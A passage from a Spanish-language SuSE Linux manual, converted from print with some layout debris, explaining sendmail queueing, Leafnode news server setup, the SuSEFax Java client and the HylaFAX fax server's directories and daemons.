comunicación. o SENDMAIL_EXPENSIVE=no sendmail intenta pasar inmediatamente el E-Mail a través de SMTP a la próxima computadora. Si la conexión a Internet es temporal (''Dial-On- Demand''), tal vez no quiera realizar una conexión al proveedor para cada E-Mail que haya escrito. Si escoge yes , todo el E-Mail se guarda primero en el directorio de cola /var/spool/mqueue y se envía más tarde. Todo el E-Mail local se guarda en las carpetas locales de E-Mail (/var/spool/mail/ ) usando el programa procmail . Este pro- grama es muy flexible y se explica en detalle en página del manual de procmailrc (man procmailrc ), en página del manual de procmailex (man procmailex ) y en página del manual de procmail (man procmail ). Si no es posible enviar el E-Mail, los mensajes se guardan en el directorio de cola /var/spool/mqueue y sendmail los transmite en el próximo ''Queue- Run''. El intervalo de tiempo de los ''Queue-Runs'' debe indicarse cuando se inicia sendmail o la transferencia de mensajes comienza explícitamente cuando se ejecuta sendmail -q . Los ajustes adicionales de sendmail se realizan en los ficheros /etc/ aliases y en algunos ficheros en el directorio /etc/mail/. Los ficheros contienen ejemplos desactivados por símbolos de comentario. Algunos de los ficheros de texto deben ser convertidos a ficheros de banco de datos usando el programa makemap ; este proceso se inicia automáticamente ejecutando SuSEconfig o saliendo de YaST . Para realizar una configuración compleja es mejor desactivar la generación automática de /etc/sendmail.cf, poniendo SENDMAIL_TYPE=no , y usar /etc/mail/linux.mc como plantilla para la configuración propia. linux. mc contiene instrucciones para m4 , así que tierra: # m4 /etc/mail/linux.mc > /etc/sendmail.cf genera una configuración de sendmail válida, usando las macros en /usr/ share/sendmail. Los directorios /etc/mail, /usr/share/sendmail y /usr/doc/packages/ sendmail contienen documentación adicional. En cuanto a documentación en el web, lo mejor es comenzar con http://www.sendmail.org/. Para 206 _______________________________________________________6.9.__News:_Las_noticias_más_actuales_de_USENET______________________* *______________________ tareas más complejas probablemente sea inevitable consultar el libro de la editorial O'Reilly 4 , que contiene una documentación muy buena y amplia sobre la configuración de sendmail . 6.9 News: Las noticias más actuales de USENET Uno de los servicios más importantes que ofrece Internet es la transmisión y distribución de noticias, organizadas por temas en distintos grupos (ingl. Newsgroups). Esta parte de Internet se denomina ''USENET'', cuya existen- cia hizo posible el desarrollo de Linux y, solo gracias a esta forma de comu- nicación libre y altamente eficaz, Linux sigue desarrollándose rápidamente tal como se pueden arreglar, igual de rápido, errores del sistema 5 . Además, respecto al soporte, la USENET es un medio importante entre los usuarios de Linux. La descripción completa de un sistema de noticias con todas sus posibilidades (como p. ej. los traspasos a otras computadoras) sería demasiado para este libro, así que aquí nos limitamos a la configuración de un sistema local de noticias. _______________________________________________________________________________________________________________________|| |||||||| Para sistemas grandes se recomienda apoyarse en el paquete inn, serie n. ||| | |||||||| En /usr/doc/packages/inn hay consejos para la instalación de INN, || | |||||||| || | |||||||| programa también preferible para los sistemas UUCP. ~ El soporte de in- || | |||||||| stalación no cubre la configuración de INN (ver apartado H.1.2 en la pági- || | |||||||| || | |||||||| na 541Cobertura del soporte de instalaciónsubsection.H.1.2). || | ||||||||_______________________________________________________________________________________________________________||_ 6.9.1 El sistema de noticias Leafnode El paquete leafnode es un sistema de noticias, idóneo para redes pequeñas o computadoras solitarias con una conexión a Internet sencilla y no nece- sariamente rápida . El paquete contiene varias partes: El servidor NNTP leafnode en sí, el programa fetchnews (antes fetch) para traer las noticias y el programa texpire para borrar las noticias antiguas o las que han deja- do de ser interesantes; aparte hay herramientas para administrar los datos en /var/spool/news. El uso de todos estos componentes se documen- ta en /usr/doc/packages/leafnode tal como en página del manual de leafnode (man 8 leafnode ) y los + Manpages, que se mencionan allí. _______________________________________________________________________________________________________________________ |||||||| Consulte también las advertencias respecto a la actualización en el aparta- || | |||||||| || | |||||||| do 15.2.8 en la página 402De 6.2 a 6.3subsection.15.2.8. || | ||||||||_______________________________________________________________________________________________________________||_ Requisitos para la instalación de Leafnode o Hay que tener acceso directo a un servidor NNTP externo a través de modem (PPP), una conexión RDSI u otra conexión de red (p. ej. Ether- net). Desde este servidor NNTP puede recibir entonces las noticias (ingl. 4 ____________________________________________________ ver [CAR93 ]. 5 En realidad ahora son muchas las listas de correo, en diversas áreas, que cumplen con esta función. * * 207 6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________* *_______________________________________@ News). En caso de duda pregunte a su proveedor de Internet (+ ISP) por los datos del servidor NNTP a usar. o El paquete leafnode, serie n debe estar instalado. o Espacio de disco en /var/spool/news ;-) o Pasar por los puntos que figuran a continuación. Servidor local de NNTP Cerciórese que Leafnode corre como servidor NNTP local 1. Ponga la variable del fichero /etc/rc.config en localhost . Por supuesto puede indicar también el nombre ''verdadero'' de su computadora en lugar de localhost (p. ej. tierra), si su com- putadora está configurada correctamente; de hecho esto es obligatorio en una red. Lo más seguro para definir la variable es el uso de YaST (ver apartado 3.7.12 en la página 116Cambiar fichero de configuraciónsubsection.3.7.12), ya que_YaST_ inicia automáticamente el script SuSEconfig cuando se sale con |F____1|0del formulario. 2. Adapte el fichero /etc/leafnode/config a sus necesidades mediante un + Editor . En la línea de server = es obligatorio indicar el nombre del servidor NNTP de su proveedor. 3. El inetd tiene que iniciar leafnode . Para ello habilite la línea con nntp en /etc/inetd.conf, borrando en esa misma línea el símbolo `#' (ver fichero 6.9.1). 4. Inicie inetd de nuevo a mano, para que la nueva configuración tenga efecto; para ello puede usar el comando rcinetd restart . ________________________________________________________________________________________________________* *________ | nntp stream tcp nowait news /usr/sbin/tcpd * * | | * * | | /usr/sbin/leafnode * * | |_______________________________________________________________________________________________________* *________ | Fichero 6.9.1: Entrada en inetd para leafnode Ahora a nivel local, está todo preparado para establecer, por primera vez, el contacto con el servidor de noticias del proveedor. ________________________________________________________________________________________________________* *________ | Con el comando telnet localhost 119 puede comprobar si leafnode * * |||| | * * ||| | responde. Si es el caso, introduzca quit , para volver a la línea de coman- * * ||| | do. * * ||| |_______________________________________________________________________________________________________* *________|||_ Iniciar y usar el sistema de noticias Ahora puede inicializar el sistema. Si aún no lo ha hecho, establezca una conexión IP hacia su proveedor de Internet (generalmente por modem o In- ternet). Durante el primer contacto con fetchnews , la información disponible sobre los grupos de noticias se copia desde el servidor al directorio local /var/spool/news/interesting.groups. Para conocer en detalle lo que hace fetchnews , use la opción -vvv : tierra:~ # fetchnews -vvv 208 _____________________________________________________________6.10.__Linux_+_Fax:_¡Una_buena_combinación!____________________* *______________________ Aún no hay artículos disponibles ~ sin embargo tiene que usar un lector de noticias NNTP y echar un vistazo a los grupos que todavía están vacíos (ver apartado 6.9.1). leafnode toma nota de ello y llenará exactamente estos grupos con noticias cuando se ejecute la próxima vez fetchnews . Puede incorporar la llamada a fetchnews en su script de inicio de conexión /etc/ppp/ip-up, para no tener que hacerlo a mano cada vez que se conecte a Internet. Administrar el sistema de noticias leafnode se diseñó según el principio de la auto-administración. Esto quiere decir que, fetchnews deja de traer las noticias de un determinado grupo si éstas no fueron consultadas por parte de ningún usuario, durante un período determinado. La única preocupación es básicamente la de borrar artículos antiguos; de esto se encarga texpire . El fichero /etc/crontab ya contiene una línea correspondiente ~ simplemente borre el símbolo de comentario `#' como se muestra en fichero 6.9.2 (¡todo debe estar en una sola línea!). _______________________________________________________________________________________________________________________ |||||||| 0 22 * * * root test -x /usr/sbin/texpire && /usr/sbin/texpire | ||||||||_______________________________________________________________________________________________________________ | Fichero 6.9.2: Línea de texpire para leafnode en /etc/crontab En la página del manual de leafnode (man leafnode ) hay detalles sobre las posibilidades de ajuste que se pueden realizar mediante el fichero /etc/ leafnode/config. Leer las noticias Para leer las noticias existen diferentes programas al alcance como p. ej. nn , tin o pine ; se puede usar también Netscape o Emacs . La elección es final- mente una cuestión de gusto personal. Es posible configurar los lectores de noticias para el acceso a un servidor de noticias ~ lo usual en una red ~ o para el acceso al directorio ''spool'' local. La serie n de SuSE Linux incluye paquetes que están configurados de este modo. Si se desea acceder al servidor-NNTP leafnode con tin , entonces active lector de noticias con el comando rtin (ver apartado 6.9.1 en la página 207El sistema de noticias Leafnode subsection.6.9.1). 6.10 Linux + Fax: ¡Una buena combinación! Hay dos posibilidades para usar su PC Linux como un fax: o Usar mgetty en combinación con sendfax y p. ej. las herramientas del paquete g3utils. o Usar el servidor fax HylaFAX p. ej. en combinación con SuSEFax , el nuevo entorno para fax de SuSE , escrito completamente en Java. * * 209 6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|| | A partir de SuSE Linux 6.3 el paquete mgetty se ha dividido en tres, * * |||| || el paquete mgetty, el paquete sendfax y el paquete sendfax. Una de * * |||| | las razones es que el paquete hylafax contiene algunos comandos con el * * |||| | * * ||| | mismo nombre que los del paquete sendfax. * * ||| |_______________________________________________________________________________________________________* *________|||_ Los dos apartados siguientes explican el uso y la configuración de SuSEFax y HylaFAX bajo SuSE Linux. 6.10.1 SuSEFax ~ Un cliente para HylaFAX Como ya se ha mencionado, SuSEFax está escrito en Java, por lo que hace falta instalar el ''Java Developers Kit'' (Kit para desarrolladores en Java) en combinación con el paquete susefax. Si quiere usar SuSEFax sobre otra plataforma, lo mejor es instalar el paquete susefax y copiar todos los ficheros que se encuentran en /usr/lib/SuSEFax. El ''Wrapper'' SuSEFax se inicia por medio de un pequeño script llamado ''Wrapper'' (el "Empaquetador"), el cual activa el interpretador de Java con los parámet- ros necesarios y controla el cumplimiento de ciertos requisitos; este script se encuentra en /usr/X11/bin/susefax. Se puede ajustar el programa SuSEFax con unos parámetros de entorno, las propiedades del sistema (in- gl. System Properties). La tabla 6.2 en la página siguiente muestra las propiedades del programa, sus significados y los valores que se usan por defecto cuando no se pasa ningún parámetro al interpretador. Si el programa corre bajo un sistema operativo que permite administrar diferentes usuarios, generalmente carece de sentido indicar alguno de ellos aparte del parámetro susefax.images. Esto quiere decir que el sistema debe asignar a cada usuario un directorio personal (''home'') como lo hacen los sistemas UNIX y Windows NT , pero no OS/2 . En sistemas que no son multiusuario deben configurarse los valores de susefax.setup.path, susefax.setup.file y susefax.phonebook.file, ya que en caso contrario es posible que el programa no funcione. Esto no se ha probado aún. Para cambiar uno o varios de los parámetros, simplemente quite los símbolos de comentario detrás de los nombres de las variables (ver fichero 6.10.1). ________________________________________________________________________________________________________* *________|| | # if you want to store the settings other than * * | | * * | | # $HOME/.susefaxrc, then you may place another path and/or * * | | # filename here * * | | * * | | * * | | SETUPDIR= # -Dsusefax.setup.path=/donde/sea * * | | SETUPFILE= # -Dsusefax.setup.file=/lo/que/sea * * | | * * | | * * | | # even the phonebook can be renamed to whatever * * | | * * | | * * | | PHONEBOOK= # -Dsusefax.phonebook.file=el_nombre_que_sea * * | |_______________________________________________________________________________________________________* *________ | Fichero 6.10.1: Extracto del Wrapper: /usr/X11/bin/susefax 210 _____________________________________________________________6.10.__Linux_+_Fax:_¡Una_buena_combinación!____________________* *______________________ ___________________________________________________________________________________________________________________________ ||||||||__Propiedad_______________________Valor|def.______|______Significado_________________________________|______________ |||||||| susefax.setup.path | $HOME | Rama en la cual se guarda el | |||||||| | | fichero de configuración y el | |||||||| | | | |||||||| | | banco de datos de números | |||||||| | | | ||||||||______________________________|____________________|_____telefónicos_________________________________|_____________ |||||||| susefax.setup.file | .susefaxrc | Nombre para el fichero de | |||||||| | | | ||||||||______________________________|_______________|__________configuración_______________________________|_____________ |||||||| susefax.phonebook.file | .susephone | Nombre del banco de datos | |||||||| | | | ||||||||__________________________|___________________|__________de_números_telefónicos______________________|_____________|* *||| |||||||| susefax.images |./images | Rama en la que se encuen- | |||||||| | | tran las imágenes necesarias | |||||||| | | | ||||||||__________________________________|______________|_______para_los_diálogos___________________________|_____________ Tabla 6.2: Las System Properties de SuSEFax Instrucciones de uso La figura 6.7 en la página siguiente muestra cómo aparece la ventana principal después de haber activado la opción `Send Queue' y haber apretado el botón `Get Status' con el cual se obtiene información sobre las tareas que están actualmente en la cola de impresión, o sea, los faxes que se enviaron en los últimos minutos; si se activa la opción `Receive Queue', se registran todos los faxes recibidos durante los últimos días y seleccionando la opción `Automatic Renewal/(Actualisation)' la lista de tareas se actualiza en intervalos de tiempo. La duración de este intervalo se_puede_indicar en el recuadro por debajo del botón (confirmar con |_____-|). Según la opción activada (`Send Queue' o `Receive Queue') se anota a la derecha de la lista lo que significaría un doble-click sobre una de las tareas. En el modo `Send Queue' se puede decidir sobre el efecto del doble-click: este puede ser el de borrar la tarea en la cola o el de tener la posibilidad de modificar los parámetros de la misma. Con el menú `Extras' se puede seleccionar el idioma (inglés o alemán ). ¡Primero la configuración! No se puede obtener ninguna información sobre el servidor ni modificar nada antes de haber configurado el programa. Esto se lleva a cabo con la opción `Main settings' en el menú `Program'. Todas las configuraciones se guardan después de salir de cualquier cuadro de diálogo y a su vez se guarda el estado actual de la configuración en el momento de salir del programa. Configuración global Los distintos campos tienen los siguientes significados: Username: Aquí se indica nombre y apellido del usuario. La información se necesita para la generación automática de una portada de fax. EMail: El servidor de fax envía información a esta dirección de E-Mail, cuando p. ej. se ha quitado un fax de la cola de envío, por problemas del servidor para entregarlo. * * 211 6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________* *_______________________________________@ Figura 6.7: Cola de envío User Account: El servidor de fax es capaz de dar acceso a determinados usuarios y denegarlo a otros. Por lo tanto es preciso indicar aquí el nombre de cuenta como identificación del usuario frente al servidor. También se puede asignar una contraseña al usuario. Hostname of Faxserver: Es el nombre de la computadora que ejecuta el servidor de Fax. Automatic Faxing: Con esta opción activada se comprueba en intervalos de segundos el fichero que se indica bajo `Path to Spool File'. Si este fichero cambia, se abre automáticamente el cuadro de diálogo `Send Fax'. Esta opción es bastante adecuada cuando se imprime desde una aplicación (ofimática) directamente a un fichero. De este modo se puede enviar un Fax desde cualquier aplicación, siempre que ésta sea capaz de convertir el documento en PostScript (ver apartado 6.10.3 en la pági- na 219Fax-Spooling en UNIX /Linux subsection.6.10.3). Path to Spool File: Tiene que indicar la rama completa en la que se encuen- tra el fichero Spool si desea enviar un fax automáticamente. Seleccio- nando el botón `Browse', se abre un navegador que le permite buscar el 212 _____________________________________________________________6.10.__Linux_+_Fax:_¡Una_buena_combinación!____________________* *______________________ Figura 6.8: Cuadro de diálogo para la configuración global fichero. Path to Faxcover: Para generar automáticamente una portada se necesita un fichero especial en PostScript. Aquí se indica la rama completa hacia este fichero. Timezone: Aquí se define la misma zona de tiempo que hay en la computa- dora local. Local (Country): Aquí se indica el país para conseguir una configuración regional en cuanto a la presentación de hora y fecha (p. ej. en la portada de fax) Configuración de tareas Directamente después de una correcta configuración global, se puede enviar el primer fax. Un fax o un fichero a enviar, se convierte para el servidor de fax en una tarea que espera en la cola de envío a que dicho servidor la realice. A cada tarea le pertenecen parámetros que pueden ser modificados antes o después de la entrada de la misma en la cola. Antes de mandar el fax, se realiza la modificación con el diálogo `Job settings' que se accede con el menú `Extras'. Cada parámetro tiene el siguiente significado: Notification Scheme: Aquí se define cuándo el servidor de fax debe pasar un mensaje a la dirección de E-Mail configurada. Hay cuatro diferentes esquemas: o Nunca (Solo errores): El usuario solo recibe un mensaje de aviso cuando ocurre un fallo en el envío, debido al cual no se puede enviar el mensaje. * * 213 6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________* *_______________________________________@ Figura 6.9: Cuadro de diálogo para los parámetros de las tareas o Después del envío: El usuario recibe un mensaje de confirmación después de cada envío. o Después de `Requeue': Se notifica al usuario el fallo en el envío, p. ej. cuando la contraparte está comunicando (línea ocupada). o Después de `Requeue' y `Envío:' Una mezcla de los dos esquemas anteriores. El primer esquema siempre está activado. Seleccionando p. ej. esquema dos, se informa al usuario también cuando falla el envío de un fax. Resolution: Aquí se define la resolución del fax a enviar. La resolución se indica en líneas por pulgada (ingl. lines per inch (lpi)). Priority: La prioridad de una tarea en la cola de envío cuyo valor por defecto es 127. El servidor de fax modifica la prioridad según necesidad, p. ej. cuando el envío falla por encontrar la línea de la contraparte ocupada. Max. Tries to Send: El número indica cuántas veces el servidor debe inten- tar enviar el fax, cuando p. ej. hay fallos de transmisión por una línea ruidosa. Max. Tries to Dial: Cantidad de intentos de conexión con la contraparte, cuando ésta no contesta o comunica. 214 _____________________________________________________________6.10.__Linux_+_Fax:_¡Una_buena_combinación!____________________* *______________________ Paper size: SuSEFax soporta tres tamaños de papel A4, A3 y ''North Ameri- can Letter''. Este parámetro depende del formato del fichero PostScript a enviar. Si en la ventana principal esta activada la opción `Modify job parame- ters', tendrá la posibilidad de modificar con un doble-click los parámetros de la tarea en la lista. El cuadro de diálogo que se abre permite modificar los parámetros `Notification scheme', `Maximum tries to send' y `Maximum tries to dial'. Visualizador externo Cuando la lista de tareas muestra la cola de recepción, se puede visualizar el fax recibido mediante un visualizador externo . Este debe ser capaz de visualizar imágenes en formato tiffg3 , ya que el servidor de fax trabaja con este formato el cual permite poner varias imágenes en un solo fichero. El programa SuSEFax contiene un pequeño script que genera un documen- to PostScript, usando el comando fax2ps del TIFF Software de Sam Lef- fler (paquete tiff). Este documento se pasa entonces a un visualizador de PostScript. El script busca primero el programa gv de Johannes Plass (paque- te gv) y después GhostView de Timothy O. Theisen (paquete gs_x11). El script se llama docview y se encuentra en /usr/lib/SuSEFax. Los ajustes en el cuadro de diálogo de configuración del visualizador externo tienen los siguientes significados: Path for temporary files: (Directorio de los ficheros temporales) SuSEFax coloca la imagen recibida del tipo tiffg3 en este directorio, reemplazan- do $F con el camino completo a este fichero. _______________________________________________________________________________________________________________________|| |||||||| ¡El usuario que ha iniciado SuSEFax necesita los derechos de escritura y ||| | |||||||| lectura en este directorio! || | ||||||||_______________________________________________________________________________________________________________||_ Viewer Call: (Llamada al visualizador) Aquí se indica la rama completa del programa o script que debe visualizar el fichero. Este programa debe aceptar como parámetro la rama del fichero a visualizar. Enviar un Fax Después de haber realizado los ajustes más importantes, lo primero es com- probar si se puede consultar el estado del servidor de fax (ver en la pági- na 211Instrucciones de usosubsection.6.10.1). Si esto no fuera posible, tam- poco se podría enviar ningún fax y habría que comprobar la configuración de SuSEFax o del servidor HylaFAX . Si por el contrario todo está bien ajustado y se selecciona la opción de menu `Send Fax', aparece un cuadro de diálogo cuyos campos tienen el siguiente significado: Phone number of recipient: El número de teléfono del destinatario. Pul- sando el botón `From telephone book' se abre la agenda telefónica y se puede seleccionar directamente un número de teléfono de la agenda. Document to be sent: Aquí se indica el nombre y la rama completa del doc- umento PostScript a enviar. Si se pulsa el botón `Search', aparece un navegador de disco que ayuda seleccionar el documento. * * 215 6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________* *_______________________________________@ With Cover-Fax: (Con portada de fax) Solo se puede activar este botón si se ha indicado en los ajustes globales la rama completa de un fichero de portada de fax. Si el botón está activado es posible rellenar los siguientes campos con lo cual se genera y se envía una portada de fax . Do not send immediately: (No enviar inmediatamente) Seleccionando este botón se abre una ventana de diálogo que permite introducir la hora de envío; si se sale de esta ventana con `Cancel', el fax se envía como si se hubiese salido de ella con `Send Fax'. Al indicar la fecha y la hora del envío tenga en cuenta lo siguiente: o Después de introducir algo en un campo pulse |______|-, ya que así el pro- grama comprueba automáticamente si se trata de una entrada válida; si no lo fuera, el programa la convierte en una fecha válida. Name of sender: (Nombre del remitente) Por defecto aparece siempre el nombre que se ha indicado en los ajustes globales. Name of recipient: Nombre del destinatario Regarding: El asunto. To company: A la empresa. Comment: Los comentarios. Al seleccionar `Poll Fax' (Solicitar fax) se supone que se ha introducido el número de teléfono del servidor de ''polling'' de fax. En tal caso, evidente- mente, no hace falta indicar un fichero a enviar puesto que es para recibir. Significado de las entradas en la lista de tareas Como ya se ha mencionado, en la lista de tareas se pueden visualizar tanto aquellas que están en la cola de envío como las que se encuentran en la cola de recepción. Lo siguiente explica el significado de los distintos elementos de las entradas. La cola de recepción Figura 6.10: Ejemplo de una entrada en la cola de recepción De izquierda a derecha se anotan primero los derechos de acceso, el tamaño en bytes, el número de páginas, la TSI y el nombre de fichero de un fax recibido. El TSI (ingl. Transmission Subscriber Identification) es la identi- ficación definida por la contraparte que envía el fax. Puede tratarse de un número de teléfono, un nombre de empresa o algo similar. 216 _____________________________________________________________6.10.__Linux_+_Fax:_¡Una_buena_combinación!____________________* *______________________ _______________________________________________________________________________________________________________________|| |||||||| Los faxes recibidos solo se pueden visualizar con un doble-click si ||| | ||||||||| la configuración del servidor de fax otorga derechos de lectura a to- || || |||||||| dos los usuarios. Para conseguirlo, hay que anotar en el fichero ||| | |||||||| || | |||||||| /var/spool/fax/etc/config.device por detrás de la palabra clave| | |||||||| RecvFileMode: los derechos 0644 (ver apartado 6.10.4 en la pági- || | |||||||| || | |||||||| na 222Configuracióntable.6.3). || | ||||||||_______________________________________________________________________________________________________________||_ La cola de envío Figura 6.11: Ejemplo de una entrada en la cola de envío De izquierda a derecha se anota la identificación de tarea (ingl. Job-ID), la prioridad, la cuenta de usuario, el número de teléfono del destino, la hora de envío, el número de intentos a llamar y el número máximo de intentos. Si ocurre un error, el mensaje acerca de éste se añade a la línea. El servidor de fax asigna automáticamente la identificación de tarea (Job-ID). Se puede ajustar la prioridad para cada tarea, pero el servidor de fax la modifica según se necesite; solo el usuario que ha iniciado una tarea puede modificar sus parámetros o borrarla. La agenda telefónica Figura 6.12: La agenda telefónica La agenda telefónica (ver figura 6.12) permite administrar nombres y números de faxes. Es posible clasificar por nombre, apellido, número de fax o nombre de empresa. Un doble-click sobre una entrada en la lista de teléfonos abre el editor de entradas con el cual se visualizan todas las en- tradas de la lista cuyos elementos se pueden modificar seleccionando el botón `Edit'; estas modificaciones se guardan seleccionando `Accept entry', * * 217 6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________* *_______________________________________@ suponiendo que se ha proporcionado anteriormente `Name', `Surname' y `Telephone number'. Cuando el editor de entradas está en modo `View entry', un click sobre el botón `Send Fax' abre el `Send fax dialogue' (diálogo de enviar fax) y entonces los elementos `Name', `Surname', `Telephone number', `Company' y `Comments' se incorporan en la portada de fax (ver en la página 215Enviar un Faxsubsection.6.10.1). Esta portada solo se envía si el botón `Use fax cover' está seleccionado. Con `Add' se añade una nueva entrada a la agenda y `Remove' borra la entrada marcada en la lista. El proceso de ordenar se inicia con cada selección del botón `Sort' siguiendo el criterio bajo `Shown is'. No se pueden seleccionar los botones `Save changes' y `Save + Exit' antes de haber seleccionado `Take entry' en el editor de entradas o bien `Sort' o `Remove'. También se puede iniciar la agenda telefónica por sí sola. De ello se encarga el ''Wrapper'' susephone : se introduce simplemente susephone en la línea de entrada, aunque de este modo no se pueden enviar faxes. ________________________________________________________________________________________________________* *________|| | No se debe iniciar el programa de la agenda telefónica dos veces en la * * |||| | misma cuenta de usuario. Si esto ocurriese, se debe tener cuidado de no * * ||| | * * ||| | grabar la agenda en ambas ventanas. * * ||| |_______________________________________________________________________________________________________* *________|||_ Envío múltiple de faxes El cuadro de diálogo para enviar una serie de faxes permite generar una lista de destinatarios desde las entradas en la agenda. Para añadir o quitar entradas a esta lista hay que seleccionarla primero. Se pueden seleccionar las entradas con la tecla del mouse o con uno de los `Toggle'-Buttons. Pulsando p. ej. el botón `(Toggle' se seleccionan todas las entradas que están sin seleccionar y se deseleccionan las que ya lo están; se procede de igual modo para la lista de envío múltiple. Con el botón `Send fax' se envían todas las entradas que se encuentran en la lista. En caso de envío múltiple no se puede generar una portada automática. 6.10.2 Generación automática de portada La generación automática de una portada de fax necesita una plantilla en PostScript. No se trata de un fichero que pueda ser manejado por parte de un interpretador de PostScript, sino que es un fichero con variables ''en blanco'', que se rellenan en el momento de generar la portada. Por eso puede resultar un poco complicado hacer este tipo de plantilla. Los que conocen ALTEX están de suerte ya que existe el paquete latex-cover 6 de R. Krienke. Este paquete trae un TEX-Style, que le permite a un entendido en TEX, generar una plantilla sin mayores problemas. La portada que viene con este paquete y con el paquete hylafax fue elaborado con latex-cover . Si no se usa latex-cover hace falta generar un fichero PostScript e introducir manualmente las macros y las variables necesarias. _____________________________________________6 Este paquete se instala junto con el paquete hylafax bajo /usr/doc/packages/hylafax. 218 _____________________________________________________________6.10.__Linux_+_Fax:_¡Una_buena_combinación!____________________* *______________________ Las palabras clave de SuSEFax Para crear el documento TEX, que representa la plantilla, se deben conocer las macros que SuSEFax soporta actualmente: __________________________ |__\toperson______|_______ |__\from______________|___ |__\regarding____|________ |__\tocompany____|________ |__\todaysdate__|_________ |__\comments______|_______ El programa faxcover del paquete hylafax sirve para probar la plantilla ''bricolada a mano'' ya que éste la convierte en un fichero PostScript listo para visualizar o imprimir. Otra posibilidad para probar es el uso del binario de Java FaxCovergen.class del paquete susefax. Simplemente se introduce en cualquier directorio el siguiente comando: tux@tierra:/home/tux > java -classpath /usr/lib/java/lib/classes.zip:/usr/lib SuSEFax.FaxCovergen Debería aparecer la siguiente respuesta: _______________________________________________________________________________________________________________________ |||||||| Command: FaxCovergen sourcecover.ps docname.ps targetcover.ps | |||||||| | ||||||||_______________________________________________________________________________________________________________ | ''Sourcecover'' es la portada fuente, docname.ps es el documento que real- mente se manda junto con un fax y en targetcover.ps se guarda la portada de fax generada. Estos argumentos se añaden simplemente al comando indi- cado arriba. Ahora puede visualizar cualquiera de estos ficheros PostScript. 6.10.3 Fax-Spooling en UNIX /Linux El mecanismo de ''spooling'' (bobinar ~ en realidad no se bobina nada, pero la palabra se deriva del hecho de que las tareas se van ejecutando secuen- cialmente, como si estuviesen colocadas en una cinta que se está bobinando) realmente fue pensado para Windows , pero también se puede utilizar esta característica bajo Linux . Instale simplemente el paquete faxprint, serie n (Netzwerk-Support). Ahora se puede p. ej. convertir el fichero /etc/passwd mediante a2ps -nP /etc/passwd | lpr -Pfax a Postscript y pasarlo por el filtro de impresión configurado. Después debe aparecer en el directorio /tmp un fichero denominado fax_accountname.ps . accountname es el nombre de usuario que se ha usado para entrar al sistema. Si este fichero realmente ex- iste, se puede poner como fichero de ''spool'' como se ha explicado en aparta- do 6.10.1 en la página 211Configuración globalsubsection.6.10.1 y activar el botón `Automatic fax'. * * 219 6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|| | El mecanismo de ''spooling'' solo puede funcionar si SuSEFax está ac- * * |||| || tivado. En tal caso se comprueba regularmente la marca de tiempo * * |||| | Lastmodified del fichero de spooling y se abre el diálogo de definición * * |||| | * * ||| | del destinatario en SuSEFax , cuando aparece algún cambio. * * ||| |_______________________________________________________________________________________________________* *________|||_ 6.10.4 HylaFAX ~ Gestión distribuida de faxes Funcionamiento El soporte de instalación no cubre la configuración de HylaFAX (ver aparta- do H.1.2 en la página 541Cobertura del soporte de instalaciónsubsection.H.1.2). La figura 6.13 muestra el funcionamiento del servidor de fax y el principio de interacción con los clientes; tal como muestra el esquema, existen tres vías de comunicación entre los clientes y el servidor. El protocolo que funciona con el puerto 4557 existe por razones de compatibilidad con versiones antiguas de HylaFAX ; existe p. ej. el cliente WinFlex de Peter Bentley para Windows , que sigue usando este protocolo. Los clientes más recientes deberían usar el protocolo nuevo el cual se identifica aquí con el puerto 4559 y cuya estruc- tura se asemeja mucho a la del File Transfer Protocol, RFC959 . El tercer protocolo es el SNPP (Simple Network Paging Protocol, RFC1861) . Figura 6.13: El funcionamiento del servidor HylaFAX 220 _____________________________________________________________6.10.__Linux_+_Fax:_¡Una_buena_combinación!____________________* *______________________ El servidor se compone de tres daemons, los cuales cumplen cada uno, una determinada tarea: hfaxd es el servidor de protocolo que se encarga de la comunicación entre cliente y servidor. Se puede iniciar bien durante el arranque de forma ''standalone'' mediante el proceso Init , o bien, mediante el Inetd . A través de un fichero ''FIFO special file'', hfaxd se comunica con el proceso faxq . faxq representa el ''Queueing Agent''. Se encarga de administrar la cola de tareas y los faxes que entran y salen. El proceso se ejecuta continuamente y no puede correr más de uno al mismo tiempo. faxgetty se encarga de la comunicación con el modem. Si no se necesita recibir fax, se puede usar faxmodem como alternativa a faxgetty que además permite ser administrado a través de un fichero FIFO7 La estructura de directorios Todo el servidor se ejecuta en un entorno ''Change-Root''. El ''Server-Root'' se encuentra por defecto en /var/spool/fax. Los procesos del servidor y el directorio Server-Root pertenecen al usuario y grupo `uucp'. La tabla 6.3 en la página siguiente muestra todos los directorios que se encuentran en el Server-Root y explica sus funciones. ______________________________________________________________________________________________________________________ archive Aquí se archivan las tareas, si el job archival support fue acti- vado. bin En este directorio se almacenan scripts usados por los progra- mas faxq, faxsend, pagesend y faxgetty. client Este directorio contiene los ficheros FIFO, necesarios para la comunicación con el programa faxq. config Aquí y en el directorio etc se encuentran la configuración, el control de acceso y la administración de usuarios. dev Ya que todo el sistema corre en un entorno chroot , aquí se encuentran los dispositivos necesarios (null, socksys y tcp). docq Este directorio ~ al igual que tmp ~ se necesita p. ej. para la preparación de tareas a realizar. doneq Aquí se guardan tareas que fueron terminadas, pero que no han sido ni quitadas de la cola ni archivadas. etc ver config. info Este directorio alberga información sobre las características de las máquinas con las que HylaFAX ya ha estado en contacto alguna vez. log Este directorio contiene información de registro sobre las se- siones de envío y recepción. pollq En este directorio hay documentos obtenidos con ''polling''. ______________________________________________________________________________________________________________________ Tabla 6.3: Continúa en la página siguiente ... 7 ____________________________________________________ Un fichero FIFO (ingl. FIFO = First In First Out) es un fichero del que se puede leer informa- ción en el mismo orden en el cual fue escrito. * * 221 6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________* *_______________________________________@ _______________________________________________________________________________________________________* *_________ sendq Para almacenar los faxes a enviar. recvq Para almacenar los faxes que llegan. status Aquí se almacenan ficheros que contienen información sobre el estado actual del servidor. tmp ver docq. _______________________________________________________________________________________________________* *_________ Tabla 6.3: Los directorios Server-Root y sus funciones Aparte de estos 